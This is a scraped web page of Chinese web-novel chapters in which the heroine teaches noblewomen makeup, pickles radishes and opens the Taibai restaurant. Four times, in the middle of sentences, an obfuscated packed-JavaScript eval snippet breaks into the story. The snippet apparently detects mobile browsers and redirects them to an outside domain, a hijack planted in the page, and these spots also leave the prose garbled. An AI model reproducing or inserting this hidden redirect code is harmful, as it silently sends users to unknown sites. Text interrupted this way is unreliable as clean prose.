傅知乔挖了一坨面脂在表小姐脸上涂开,接着就到了底妆步骤,“大家在抹胡粉的时候千万不能抹的太厚,否则很容易假面……”呃,假面好像是现代词,傅知乔又换了一种说法:“胡粉抹的太厚就像是在脸上加了一层面具,看起来非常不自然。” 傅知乔拿出自制的粉扑,其实就是用两层锦缎包着棉花做成的一个简易粉扑,用粉扑取适量胡粉轻拍在脸上,让胡粉均匀吸附在面脂上,这样既可以遮盖毛孔又不用担心面色死白。 底妆完成后,表小姐的肌肤瞬间变得有光泽了,人看起来也精神了许多。 傅知乔仔细端详着她的脸,这位表小姐的容貌不算出众,但一双眼睛却十分好看,葡萄似的瞳仁又黑又亮。 于是,傅知乔把整个妆容的重点放在了她的眼睛上,先用手指沾取一点黑灰色的胭脂打底,再用粉色的的口脂轻点涂在眼摺部位,用指尖沿着眼球的弧度从后往前在眼窝处充分晕染,最后用亮色点缀在眼皮中央和眼头部位就完成了。 傅知乔边化妆边讲解,“眼尾处用黛笔描黑拉长,制造出眼睛的深邃度。” 水汪汪的眼睛被眼线拉长放大,这样一来,整个眼睛的妆容不浓厚却又有令眼睛闪闪发亮的效果。 经过妆容修饰后的眼睛通透而明亮,清新中带有一点小妩媚的感觉,让表小姐那张原本有些寡淡的脸立即变得生动起来了,眼聚清波,让人移不开眼睛。 “哇!”人群中传来几声惊叹声。 这还没完,傅知乔沾过口脂的手指上还残留着一点颜色,她顺势将手指上残留的颜色点在颧骨中心,再用手指慢慢晕染开,脸上粉嫩的红晕感就出来了。 这番操作让几个贵女都看呆了,她们没有想到竟然还有这样的化妆方法,都不顾形象地围在傅知乔身边,生怕自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13795156|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看漏了什么步骤。 化完妆,傅知乔向众人展示了这位表小姐的妆容, “这真的是我?”表小姐睁开眼睛看着铜镜里的自己,喜悦的左右扭头观察,原来自己也可以这般美丽。 亲眼见证了表小姐从寡淡到鲜活的变化后,秦家姑娘们忍不住倒吸一口凉气,明明只是换了妆容,怎么整个人的气质都发生了变化? “她的眼睛看上去真的变大了!这是怎么做到的?” “这个妆很自然呢,看上去就像是她自己的皮肤。” “傅姑娘,你太厉害了!” 事实摆在眼前,她们不得不服,姑娘们互相看了一眼,彼此眼里都是掩饰不住的惊讶,要是自己学会了这种化妆技法,还怕往后出席宴会不能惊艳众人么! 闺房里一下子就变得热闹了起来,一群贵女们也不再自持身份,主动要求洗脸,让傅知乔为她们化妆。 这么多人她根本顾不过来,傅知乔只好开口:“与其让我来,不如自己动手试试。” “我们……我们也可以吗?” “当然了!”傅知乔嘱咐她们回去后要好好练习化妆的手法,假以时日也能跟她一样化出美美的妆容。 姑娘们当下就按捺不住,拉着自家侍女就开始练习起来了,明明看着傅知乔上手十分容易,但是轮到她们自己的时候,总是这里不对那里不对。 傅知乔耐心的给每个人都指导一遍。 一个下午的时间她都在教学。 今天学到的东西让秦家姑娘们受益匪浅,她们都对傅知乔佩服的五体投地,拉着她问来问去,恨不得将傅知乔说的每一个字都认真地记在脑子里。 傅知乔不厌其烦的为她们解答问题,底妆怎么涂才服帖、眉毛和眼线怎么描才好看、眼影和腮红要怎么涂……甚至把粉扑的制作方法都交给她们了。 见傅知乔毫不藏私,秦家姑娘们对她的好感度大大提升。 “好了,今日就到这里了。”周妙思看出傅知乔的疲惫,站起身发话:“我们知乔还会甜酒酿和养颜粥,我的皮肤就是喝了她的粥才调理回来的,还有她酿的青梅酒,酸酸甜甜的,那味道也是一绝!” “甜酒酿?”秦惜玉也是第一次听说这个东西。 周妙思解答:“甜酒酿是一道可以养气血的粥,里面的丸子软软糯糯可好吃了!” 能美容养颜的粥?她们见到傅知乔的化妆本事后已经服了,现在听周妙思提的甜酒酿,顿时来了兴趣。可她们已经学了人家的独门技法,也不好再提出什么过分的需求,但能美容养颜的甜酒酿真的很吸引人啊! 姑娘们用可怜巴巴的眼神看着傅知乔。 刹那间,傅知乔明白了周妙思的意思。 “下个月,我在六合巷的太白楼就要开业,各位小姐如若不嫌弃可前来观礼,甜酒酿青梅酒都可以喝到!” 傅知乔大大方方子她们面前宣传了自家酒楼,临走时,姑娘们都过来跟傅知乔示好,表示她的酒楼开业之时自己一定前去光顾的。 79. 酸辣萝卜 从秦家教学回来后,之后的几天里傅知乔都过的很清闲,可惜的是这种清闲并未持续太长时间。 因为她给秦惜玉的化的素颜妆火了,秦家姑娘们得了她的教导,每次出门见客都化这种妆容,以至于越来越多人发现这种妆容的妙处,于是也学着化了起来,素颜妆就这么在京城流行起来。 这个结果实在出乎傅知乔的意料,同时她也更加确定自己结交贵女这一步没有走错。 在大魏,世家贵族的影响力是巨大的,相信过不了多久,她的太白楼也会成为京城里一大特色。 京城的女子对美的追求是没有止境的,她此次的目的不应该仅限于太白楼,或许,扶云阁也可以开到京城来了 上个月她给余柔岚去了书信,说自己在京城一切都好,并让余柔岚带着小月过来。 算算日子,估计也快到了。 傅知乔这几日派了人在城门口守着。 两日后,下人们成功接到了余柔岚。 许久没见到女儿,余柔岚第一件事就是摸摸她的脸。 “瘦了!”余柔岚鼻头一酸,她不明白傅知乔为何要如此耗费心力来京城开酒楼,明明青州的产业也发展的很好。自从女儿离开自己身边,余柔岚的心一直是悬着的,直到看到傅知乔面色红润她才放下心来。 傅知乔拉着余柔岚看了已经装修的差不多的太白楼,还跟她汇报了自己这段时间内取得的成果。 余柔岚听后又欣慰又心疼,这么短的时间就把酒楼的雏形弄好了,她轻拍了傅知乔的手背,嗔道:“娘知道我的阿乔很厉害,但女孩子家家的,不必那么辛苦,再说了,青州的产业已经足够我们下半生衣食无忧了。” 傅知乔撇了撇嘴:“娘!” “好好好!娘不说了,你知道的,无论你做什么娘都是支持的。”余柔岚只是不希望她太辛苦。 傅知乔听后露出笑容,与余柔岚说完话,她才把目光转向了小月:“小月,我给你的那几道菜准备的如何了?” 在来京城之前,傅知乔把拟定的菜单和制作方法都留给了小月,并嘱咐她要好好练习。 如今来了京城,是时候检验的她练习成果了。 余柔岚对小月的厨艺很满意,笑着说:“自打你走后,家里这几个月的吃食都是小月做的,我觉得她做的不比蓬莱居的差!” 不比蓬莱居的差这个评价倒是不低,这让傅知乔对小月厨艺的期待提高了几分。 银杏拉着小月去了厨房,自从得了傅知乔的菜谱后,小月一门心思全扑在了研究做菜上,她不敢说自己的厨艺十分精进,但面对即将到来的考验她也是丝毫不怵的。 厨房里,小月深吸了一口气,挽了挽袖子准备大干一场,她检查了厨房里现有的食材,最后做出来傅知乔指定的三道菜。 分别是姜酒鸭,火焰醉虾和米酒蒸鸡,菜色虽不多,但用于展示厨艺已经完全够了。 傅知乔依次尝了几道菜的味道,其中她最喜欢的是姜酒鸭,鸭块充分煸出油脂变得焦香,包裹在鸭块上的料汁十分的浓稠,咬上一口,焦香伴随着酒香瞬间在口腔里爆开。 她放下筷子,“很不错,这道姜酒鸭你已经做的十分地道了,不过,其他两道菜的火候没有掌握好,尤其是米酒蒸鸡,蒸的时间太久,鸡肉已经变柴了。” 傅知乔提点了一些可以改进的地方,小月都了记下来,准备按照她的要求继续改进口味。 此次进京,跟着小月一起过来的还有两个厨子,高个子名叫韩荣,矮一点叫做汤行康,他们俩是傅知乔从青州招过来的人。 江湖中有这样一句话:教会徒弟,饿死师傅,所以手艺人的独门手艺基本上是不外传的,要么传给自己的儿女要么传给徒弟。 这两个厨子年近中年却始终无出头之日,傅知乔用几个菜谱秘方收买了他们,并且承诺会让他们当上大厨这才说动了两人,签下十年长约后两个人跟着她来到了京城。 一个好的厨师对酒楼的发展至关重要,傅知乔思来想去还是觉得从青州带人过来更为方便。这两个厨子是青州人,他们在京城人生地不熟的,只能全身心依附于她,不会产生二心。 厨子的人选定下来后,傅知乔就把酒楼的菜谱给了他们,并让小月带着他们一起练习。 因为有三个人要练习炒菜,导致小厨房里的用菜量剧增,每次出去采买都要安排两三个人才勉强够用。 傅知乔干脆让郭家村的村民送菜上门。 郭家村派过来送菜的人叫郭武,他已经连续给小院送了五六天的菜了,与以往不同,今天他送完菜还多问了一句:“东家可要收萝卜?” 今年庄子上的萝卜大丰收,可萝卜这玩意家家户户都用种,卖也卖不上价钱,吃又吃不完,顺着来给小院送菜的功夫他就提了一嘴。 厨房里的人把郭武的意思转达给傅知乔。 “萝卜?”傅知乔沉思片刻,“拿给我瞧瞧。” 白白胖胖的萝卜装满了整个背篓。 郭武拿出一个萝卜,主动掰开给傅知乔看,“东家,您看,这萝卜是刚从地里拔出来的,水灵着呢!” 傅知乔哪里会识别什么好萝卜坏萝卜,不过她看着这些新鲜的萝卜,一个想法浮上心头。 “明天送些过来吧!” 第二天,农庄就送了五百斤萝卜过来。 一时间,厨房里所有的人都在切萝卜。 萝卜洗干净不用去皮,切成一寸左右的小条,把盐均匀的撒在萝卜条上,用手抓匀静置,一个时辰后将腌好的萝卜条中的水滤掉,洗净晾干水分即可。 这部分全部交由厨娘去做,配料部分则是小月动手的。 将水煮开放凉再倒入白醋、盐和糖块,混合成醋汁水,同时切好蒜片放在一旁备用。 醋汁放凉后,傅知乔舀了一点尝了尝咸淡,确认没问题后点了点头。 小月得到肯定后便继续腌制,将醋汁倒入腌好的萝卜条中,加入蒜片拌匀,再将拌好的萝卜条放入干净的陶罐中,最后倒入放凉的醋汁就完成了。 好几坛子都装满了,盖上盖子后放在阴凉的屋内储存。 “姑娘,这样就可以了么?”装坛后小月还有点不可置信,腌菜还能这么做? 傅知乔指着一坛切成片的萝卜说道:“嗯,这坛腌上半天就能吃了,不要与其他的混合在一起。” 处理萝卜时傅知乔特意叮嘱过,厨房的人切的是条状,而小月切的则是薄片状。萝卜条比较粗没那么容易入味,需要多腌制两天才能吃,而萝卜片就不同了,薄薄的一片腌上一两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13855921|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时辰就能吃了。 晚膳时,小月端来了一碟萝卜片。 此时的萝卜腌制了两三个时辰,已经充分入味了,端上来时,空气里弥漫着一股令人垂涎的酸香味。 “娘,快尝尝。” 余柔岚率先动筷,“咔嚓”咬上一口,顿时,她的眼睛亮了起来,这萝卜片酸辣适中,再配上萝卜本身的清脆爽口,让人口齿生津。 “阿乔,你这腌制萝卜的方法是从哪里学来的?”余柔岚不解,女儿会做生意可以说是家族环境使然,可会写菜谱会腌小菜的本事是从哪里学的? 傅知乔早就想好理由了,“我在乡下看到农户腌过萝卜,不过他们一腌就要半年之久,腌出来的萝卜酸味太足无法下口,我就想着改良一下,于是就把萝卜腌制的时间缩短了些,结果这味道意外的好。” 余柔岚点点头,又夹了一筷子,“这道小菜可有名字?” “有的,它叫酸辣脆萝卜。” 等夫人和小姐尝过之后,崔嬷嬷才动筷:“依我看,这道酸辣脆萝卜很适合佐粥。” 银杏嘴里咀嚼着萝卜片,在一旁补充:“当零嘴也很不错!” 傅知乔和余柔岚看银杏吃的正欢,相视一笑。 尝过味道后,傅知乔把自己想用酸辣脆萝卜作为太白楼的餐前小菜这个想法跟余柔岚说了。 大冬天的大家都爱吃热乎的食物没错,她偏要反其道行事,用这凉爽的酸辣脆萝卜作为餐前小菜。 银杏不解:“姑娘,什么是餐前小菜?” “就是客人点菜后,在等着上菜前那一盏茶时间里,给客人们上一碟酸辣脆萝卜,让他们在用膳前先吃这个萝卜,如此便可消磨等菜的时间,还可显得我们太白楼的服务贴心!” “姑娘这主意极好,这萝卜酸酸辣辣的,定能提高客人们的食欲。”崔嬷嬷表示赞同,她是伺候惯了人的,知道酸和辣是最能让人开胃,这道菜放在酒楼里一定会受欢迎。 余柔岚跟账本打多了交道,比较关心定价,问:“这道菜你打算卖多少钱?” “不卖,我打算每桌一碟,免费赠送!” 无论是餐前开胃,开始餐后解腻都是很好的,相信尝过的就会忘不了这种酸酸脆脆的味道。 余柔岚听后点点头表示自己知道了,生意上的事情都是由傅知乔做主的,她并不过多干涉。 距离过年还有一个多月的时间,距离酒楼开业还有十天左右,接下来的几天里傅知乔忙着在酒楼里做收尾工作。 德福作为太白楼的掌柜,也在给紧锣密鼓的给每个人安排活计。他来到后厨,将厨房的边边角角仔细检查了一遍,发现有遗漏之后立马指挥两个婆子重新打扫。 厨房是酒楼的命脉,厨房卫生烹饪环境更是重中之重,不能出半点差错,屋檐墙角都要真真正正做到干净整洁才行。 “韩荣,你等会拿到菜单后清点一下厨房的菜品,还缺什么你写个单子给我,我好及时差人去买,开业那日必须确保食材齐全!” 关于菜品供应这块,傅知乔倒是不担心。 郭家村这条供货渠道是盛安找来的,盛安是端亲王府的人,相信没有人会不长眼欺骗到王府头上。不过为了保险起见,她还是让德福不定时抽检,以免送菜之人懈怠,以次充好。 80. 太白楼开业 三日后,太白楼正式开业。 大门两侧的站了一排乐师,吹吹打打的氛围吸引了很多围观的人。 一声锣响,傅知乔伸手一扯,盖在招牌上的红绸也随之被揭开,金光闪闪的“太白楼”三个字便显露出来。 字是傅知乔特意邀谢卓帮忙写的。 谢卓早就计划着要买一个庄子送给傅知乔作为太白楼开业的贺礼,太白楼开业时他人已经到凉州了,并不能与傅知乔一起,所以,想送份贺礼代表他的心意和歉意。 傅知乔知道后立马制止了他送钱的行为,让他以墨宝替代贺礼就够了,谢卓犹豫片刻后同意了。 傅知乔之所以邀请谢卓为太白楼书写牌匾是有目的的,她想借用谢卓端亲王府世子的名头。 一般平民不认得谢卓的字迹,而能认出谢卓字迹的人也不会是什么籍籍无名之辈,他们可以从牌匾上的字迹推断出太白楼跟端亲王府有关系。 招牌上有了谢卓的字后,几乎是昭告众人:太白楼是端亲王府罩着的,想招惹我们之前,要掂量一下自己够不够格! 傅知乔揭了牌匾,德福站在门口,以掌柜的身份宣布:“太白楼正式开业!” 经历过太白酒铺开业,傅知乔已经熟悉店铺开业的流程了,不过此次她并未搞别的花头,而是直接让小二抬出两个小筐子,一筐是用油纸包着的蜜饯,一筐则是满满的铜钱。 酒楼开业第一天要聚集人气,还有什么比撒钱更吸引人的呢? 傅知乔穿一身简单的襦裙,和酒楼的员工们一起往门口看戏的人群里抛出蜜饯和铜板,铜钱和蜜饯如下雨般的落在人群里,原本在一边看戏的路人也按捺不住了,一哄而上加入抢铜钱的队伍中。 不一会儿,两筐子铜钱和蜜饯就被发了个干净,拿到蜜饯和铜钱的人们掌声、欢呼声不断。 送庄子被傅知乔拒绝了,谢卓还悄悄准备了其他的贺礼,太白楼开业当天他虽不在,但他的礼物是送到了的,他提前嘱咐了盛安。 除了谢卓,彭高飞、郭家村都派人送了贺礼。 抢铜钱这个玩法,吸引了很多路过的百姓来看热闹,因此太白楼的整体开业氛围还算得上热闹。 开业仪式完成,敲锣打鼓的乐师也停了下来。这时,巷子口传来“哒哒哒”的马蹄声,所有人都将目光看向马蹄声传来的地方。 七八辆马车组成的车队浩浩荡荡的往太白楼的方向驶来,为首的马车带着秦家的标识,不用想,是周妙思和秦惜玉她们来了。 在太白楼开业的两天前,傅知乔给周妙思、秦惜玉还有一众贵女递了帖子,邀请她们来太白楼吃饭。贵女们似乎是有意要给傅知乔撑面子,马车一辆接一辆停在太白楼门前,把太白楼的堵了个水泄不通。 在侍女的伺候下,贵女们一一下了马车,她们似乎是想在傅知乔面前展示一番,来的每一个人都化着精细的妆容,穿着华贵的衣裙,头顶上的大颗名贵珠翠亮的要闪瞎人眼。 周妙思领着一众贵女也不是空手而来,她们得了傅知乔的化妆方法,今日来捧场的人自然也都是带上了贺礼的。 莲步轻移,走到太白楼的大门,看到路人无比震惊的神色后秦惜玉满意地点点头,扭头道:“傅姐姐,祝你财源若海,顾客盈门。” 周妙思也笑了笑,道:“开张吉庆,生意昌隆。” 其他的贵女也纷纷走上前来给傅知乔恭喜道贺,她们并不在乎傅知乔商女的身份,毕竟跟她学习后,自己变美获利是实打实的,那些虚名哪里比得上自己获得实际的好处呢? 门口的小二恭敬地把一行人迎进来。 进了太白楼内部,映入眼帘的就是一整面的酒墙。 毕竟是在这繁华的京城开酒楼,客人们的阶级水平跟在青州不是一个层次的,京城里的达官显贵们见惯了好东西,太白楼想要在众多酒楼里出彩就必须要别出心裁。 顶天立地的酒柜做成了正方形的格子,每个格子中间都摆放着一个酒坛,为了减轻重量,放的都是些空的酒坛。即便如此,一走进来就看到一整面的酒坛也足够令人震惊了。 走过酒柜便能看到一个缩小版的高山流水景观,三五步就有摆放绿植,给人一种耳目一新的感觉,尤其是看到池子里还有莲花和锦鲤后,她们的表情终于不再淡定了。 有山有水,有花有草还有锦鲤……太白楼的装修风格完全超出了这个时代的审美,走进来就像是位于花园之中,这里的一切都是那么与众不同,一下子就打动了贵女们的心。 到了二楼的雅间内,众人纷纷落座,周妙思感叹道:“把山水风景搬进酒楼,让大家坐在有山有水的地方享用美食,此等奇特的想法也只有知乔做得出来了!” 傅知乔微微一笑,全盘接受所有的赞美,这可是她花了大量金钱与心思才搭建出来的。 * 傅知乔在楼上招待这群贵女们,楼下的事便交由德福负责。 七八辆精致华丽的马车停在太白楼门口,引得过路人纷纷侧目,德福指挥人把马车牵引到另一侧,别挡着酒楼的大门。 程业玄带着自己组建的安保队伍分别守在了前门和后门,以防有人趁乱闹事。 德福清了清嗓子:“今天是我们太白楼开业的大喜日子,欢迎各位街坊前来捧场,今日酒楼里酒水全部半价!” “真的半价吗?” “真的!就连太白酒也是半价!” “是那个‘酒液清如水,酒味烈如火’的太白酒吗?” 见大家反应热烈,德福站在门口笑眯眯为大家解答:“没错!一碗酒喝倒一个大汉的太白酒便是出自我们太白楼!” 太白酒在京城本就有固定的消费人群,后来经过一番酒价炒作让太白酒的名气有了大幅度提升,这不,有路人已经知道太白酒的名头了。 有一个蓄着八字胡子的男人咧嘴笑道:“太白酒难得会这么便宜啊!” “咦,这个开了个新酒楼,我记得这儿以前是留香居,怎么换成太白楼了?” “你看那些马车上标志,来太白楼吃饭的都是些贵人呢!”路人的好奇心被引起,纷纷议论起来。 六合巷的人流量不如朱雀大街,所以,傅知乔雇了一些小童在各个大街上吆喝:“太白楼开业,所有酒水一律 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13902398|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半价!”“半价喝太白酒咯!就在六合巷的太白楼里,半价优惠只此一天!” 有人听到消息后摸着胡子大笑:“半价的太白酒,那我可要进店尝尝了。” 张穆原本是想去朱雀大街的琼鲜楼吃饭,路过六合巷时看着门口停了这么多马车,后又听到大家对太白酒半价消息的讨论,这让他改变了注意。 他看了眼同行的友人,“走,我们也进去看看。” 一进门就有迎宾接待的小二迎上来,脸上带着春风一般的笑容:“客官您几位?要大厅还是雅间?” “两位,要大厅。” 走过酒柜和假山,小二把他们引到大厅里二人座。 张穆已经太白楼内的环境全部收于眼底:“你们这里倒是别致!” 小二闻言微微一笑,“客官您的眼光真是毒辣,咱们太白楼的一桌一椅都是找大师制作,在别处可见不着!” 进了大厅刚坐下不久,负责上菜的传菜工就端上来一碟子萝卜。 张穆看见有小二端着碟子过来,以为他是过来上菜的,笑着对友人说,“这里的上菜的速度可真快啊!” 还未离去的小二听后解释道:“客官误会了,这是我们太白楼赠送给客人的餐前小菜,此菜名为酸辣脆萝卜,您可以尝尝。” “这道菜不收钱?” “是的,不收钱!我们太白楼最大的特色是以酒入菜……”小二笑着为张穆介绍,顺便把菜单册子递到他手边。 张穆翻看了菜单,最后点了酒香兔丁、米酒蒸鸡、清酒鱼片、玉笋蕨菜四道菜。 趁着等上菜的功夫,张穆怀着好奇的心态尝了下这免费的萝卜,反正是免费的,尝一尝他也不亏。 本以为是平平无奇的小菜,结果却给了他很大的惊喜。 腌制酸辣脆萝卜选用的萝卜都是嫩生生的,经过腌制的萝卜口感变得又酸又脆,一口下去有种汁水在口中爆开的感觉。 酸辣脆爽,让人有种完全停不下来的感觉,张穆本来只是想尝个味道,谁知一吃就停不下来了,最后他和友人一人一筷子把这碟萝卜全吃了。 “咕噜咕噜……”刚吃完酸辣萝卜不久,张穆的肚子就响了起来,他脸色有些泛红不好意思的捂住了肚子。他抬头看了下友人,不知道他听见没有,都怪这个萝卜太开胃了害得他当众出糗。 好在,小二送菜及时,不过跟着小二一起过来的人还有德福。 因为是开业的第一天,此时太白楼里的客人并不多,楼上的雅间里是有客人,不过那些贵女都是姑娘的客人。 大厅里坐着的张穆和友人,是太白楼里的头两位客人,德福亲自来招待。 随着菜一起上的还有酒,德福为他介绍,“此乃我们太白楼的招牌,太白酒,酒液透明如水,一入口便可尝到辛、辣、烈、苦等味道,下咽后嘴里又淡淡的回甘。” 德福示意身后小二给客人倒酒,“客官饮用此酒前先用鼻子感受酒的清香,此酒酒劲甚猛,喝多了伤身,小口慢慢品味才能发现太白酒的妙处。” “菜上齐了,请您慢用。”介绍完菜肴和酒水后德福退了下去。 81. 火焰醉虾 楼上雅间里,傅知乔正在招待周妙思一行人,她轻轻拍了拍手,很快雅间的门被打开,数十个女侍端着托盘鱼贯而入,各式各样的菜肴整齐的摆在桌上。 火焰醉虾作为重头菜压轴登场。 看见桌子最中间摆了一盘生的虾,贵女们都十分诧异。 “别急,这道菜要现烹制才行。”傅知乔看出了众人的疑惑,笑着解答。 火焰醉虾吃的就是口感,选用新鲜的活虾浸泡在太白酒里醉晕,去除虾线,加入盐调出底味,最后倒入没过虾的酒,让虾充分浸入酒味。 傅知乔摆手,一位女侍立即拉下窗幔,雅间里顿时暗了许多。 另一位女侍递过来火折子,傅知乔打开对着筒口轻轻一吹,火星子飞溅,明火顺着引线烧到的盘子里。 火焰在盘子里慢慢升腾而起,空气中弥漫着浓郁的酒香。 “哇!”贵女们惊叹出声。 随着火焰的温度升高,虾慢慢变红熟透。 女侍收起窗幔,屋子里恢复了光亮。 这种新鲜的吃法立刻吸引住了所有贵女的眼球。 “果真有趣!虾还能有如此吃法?” “这虾能熟吗?” 一盘虾烧熟需要时间,趁着等虾变熟的时间,傅知乔让她们尝尝太白楼特制的餐前小菜,酸辣萝卜。 腌制好的萝卜酸酸辣辣的,清甜爽口,极其开胃,作为餐前凉菜最合适不过了! 傅知乔介绍道:“别看这道萝卜平平无奇,我保证大家吃了以后还想吃。” 周妙思最捧场,当即夹了一块萝卜,“咔嚓”清脆的声音轻轻响起,酸中带辣的滋味在嘴中爆发,她没有想到,萝卜这种普通的食物居然也能变得这么好吃,不由赞道:“入口凉爽,嚼起来又酸又辣,滋味分明,果然好吃!” “大家喜欢便好!”接着傅知乔拿出青梅酒让众人品尝。 侍女将将酒壶摆在桌案上,托盘子上摆着两个精致的酒壶。 秦惜玉鼻子微微耸动了一下:“傅姐姐,这是酒吗?怎么闻起来甜甜的?” 傅知乔还没说话,周妙思就替她回答了:“这叫青梅酒!” 随着酒塞被打开,一股梅子的酸香味飘了出来。 侍女给每一位贵女都倒上一杯青梅酒,酒香与果香交融,喝上一口酸甜清爽,哪怕是不胜酒力的女子喝了也不容易醉,几杯青梅酒下肚刚好是微醺的状态,怡然至极。 一时间,所有的贵女都闭着眼睛细细品味着青梅酒的滋味,傅知乔适时地补充:“常年饮用青梅酒,不仅能美容养颜,还有瘦身轻体的作用。” 能美容养颜,还能瘦身轻体? 没有哪个女子能拒绝这种诱惑,在场的所有贵女都选择再次满上一杯,经过上次化妆教学,她们已经丝毫不质疑傅知乔在变美方面的权威性了。 看着贵女们低头喝酒的模样,傅知乔露出笑容,看来在这群贵女眼里,青梅酒的味道是其次的,她们更看重青梅酒的效果。 品完酒,火焰醉虾也烧熟了。 部分虾壳被烧焦,空气带着浓浓的被炙烤过的香气,站在一旁伺候的女侍们帮忙剥去虾壳,剔出虾肉放在贵女们的碗中。 傅知乔为大家介绍这道菜的吃法,“这道火焰醉虾要用火焰烧熟,佐以酱油食之,烹熟后的虾壳红艳,肉质鲜嫩而有酒香,别具风味。” 剥开虾壳露出里面雪白嫩弹的虾肉,带着烧烤后的香气,肉质吃起来非常紧实,完美保留了鲜虾原本的鲜甜滋味,蘸上一点酱油,咸度、鲜度都恰到好处。 周妙思微笑着打趣道:“托知乔妹妹的福,我们才能品尝到如此美味佳酿,来,我们敬她一杯!” 贵女们都举起酒杯,气氛热烈又融洽。 * 太白楼开业第一天,还打着酒水半价的旗号,随着大肆宣传,食客们陆续蜂涌而入。 晚上,送走最后一批食客,傅知乔让人把大门一关,开始算帐。 “阿乔?”门外传来一个温柔的声音,是余柔岚。 余柔岚本来在家等着消息,但傅知乔久久未回,她实在放心不下,就赶过来看看。 来时正好碰到傅知乔在盘账,她也立即加入,五指翻飞灵巧地拨动着算珠,算盘噼里啪啦作响。 有了余柔岚的加入,盘账变得更加轻松。 余柔岚和德福分别把采买与销售的账本数据算了出来,傅知乔大脑飞速运转,很快就得出了结果:“刨去成本和其他开支,太白楼今日净赚五百七十二两!” 五百两银子虽然不多,但确实是个很好的兆头。 太白楼第一天开业,傅知乔都做好赔本吆喝的心理准备了,结果合计完所有的成本和收入,她发现酒水半价后的利润被菜肴拉回来一半。 酒水半价,但菜肴却是不打折的,最后核算下来还是赚的,酒水半价都能这么赚钱,要是恢复原价了那还了得! 余柔岚那颗忐忑的心终于安定下来了,看来开酒楼的利润比她想象的高得多。 后面两天,没有了酒水半价的优惠,来太白楼的吃饭的客人下滑了近一半。 德福跟在傅知乔身边久了,也练就出了一身从容气质,他淡定的安抚太白楼内的员工说生意一定会变好的。 进入十二月中旬,京城迎来了冬季的第一场雪。 银杏往火炉里加了两块碳,伺候傅知乔起床:“姑娘,外面下雪了。 “下雪了?”这么早就下雪了?傅知乔有点诧异,她记得去年在青州的时候雪是过年时才下的,看来是京城地势偏北的原因,下雪的时间要比青州早上一个月。 “是啊,昨儿夜里下了好大的雪。”银杏笑着回答。 傅知乔今日要去酒楼里巡视,便没有要赖床的打算,刚掀开被子就觉得一股寒气袭来。屋子里虽烧了炭,但远不如被子里暖和,下了床榻走到窗边,顾不得寒气袭人,她也要看一看京城的雪景。 银杏看到她穿着寝衣站在窗户边,连忙取下斗篷给她披上。 窗外的世界已是银装素裹,天空雾蒙蒙的,雪花到处飘扬,地上积了一层厚厚的雪,下人们正在院子中间清出一条走路的小道。 傅知乔兴奋地小跑到到院子里,任由雪花飘在自己的脸上、身上,享受着雪花落在肌肤上的感触。 冰凉的雪花遇到温热的肌肤后一秒化水。 银杏来不及制止,跟在她后面喊道:“哎哟!姑娘快回来,外头冷着呢!” 寒气一日重过一日,傅知乔也不敢子雪地里多待,玩了两把雪之后就回了房间。 巳时,雪渐渐小了。 等下人们套好马车,傅知乔去太白楼巡店。 余柔岚在门口叮嘱她:“下雪路滑,路上小心点。” “知道了!” 马车不断地碾压着路上的积雪,很快洁白的雪就变成了脏脏的雪泥,道路两旁的商铺都在派人清理自家铺子门口的积雪。 到达太白楼时已经到了午时,到了楼内,店里的女侍端来一碗姜汤。 银杏帮傅知乔取下身上大氅,说:“姑娘,快喝碗姜汤驱驱寒。” 知道自己这副身体的底子很弱,傅知乔听话的接过姜汤一饮而尽。 此时正值饭点,太白楼里十分热闹。 二楼里的雅间里虽没有坐满,但一楼大厅里几乎是坐满了客人,后厨的人都忙得热火朝天。 半个月过去,太白楼的生意逐渐走上了正轨。 传菜工们灵活身影穿梭在过道中,动作娴熟的客人们上菜。 还有食客抓住小二问:“隔壁那桌烧起来的是什么东西呀?怎么闻起来这么香!” 小二热情的解答:“火焰醉虾是我们酒楼的招牌菜之一,虾肉柔嫩,入口弹牙,吃下去后嘴里还有淡淡的酒香味。” 食客经不住诱惑:“快,给我们也来上一盘!” 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13947914|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 